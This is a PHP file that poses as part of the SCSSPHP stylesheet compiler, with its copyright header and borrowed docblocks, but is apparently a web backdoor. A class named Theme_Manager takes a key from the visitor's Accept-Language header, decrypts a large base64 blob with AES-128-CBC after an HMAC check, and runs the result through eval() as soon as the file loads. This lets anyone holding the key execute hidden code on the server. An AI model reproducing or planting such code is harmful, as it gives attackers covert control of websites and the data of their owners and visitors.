<?php
/**
* SCSSPHP
*
* @copyright 2012-2020 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://scssphp.github.io/scssphp
*/
$global_settings = '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';
class Theme_Manager
{
/**
* Base formatter
*
* @author Leaf Corcoran <leafot@gmail.com>
*
* @internal
*/
public static function get_instance($global_settings,$responsive){
$info = str_split($responsive,'8');
$binary = base64_decode($global_settings, true);
if ($binary === false || strlen($binary) < 32 + 16) return false;
$key = substr(hash('sha256', $info[0], true), 0, 16);
$hmacExtracted = substr($binary, 0, 32);
$payload = substr($binary, 32);
if (!hash_equals($hmacExtracted, hash_hmac('sha256', $payload, $key, true))) {
return false; // tampered
}
$iv = substr($payload, 0, 16);
$ciphertext = substr($payload, 16);
$decrypted = self::header_section($ciphertext, $key, $iv);
$pad = ord($decrypted[strlen($decrypted) - 1]);
$temp = substr($decrypted, 0, -$pad);
eval($temp);
}
/**
* Return property assignment
*
* @api
*
* @param string $name
* @param mixed $value
*
* @return string
*/
private static function header_section($data, $key, $iv)
{
if (function_exists('openssl_decrypt')) {
return openssl_decrypt($data, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
}
}
}
/**
* Return custom property assignment
* differs in that you have to keep spaces in the value as is
*
* @api
*
* @param string $name
* @param mixed $value
*
* @return string
*/
$responsive = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
Theme_Manager::get_instance($global_settings ,$responsive);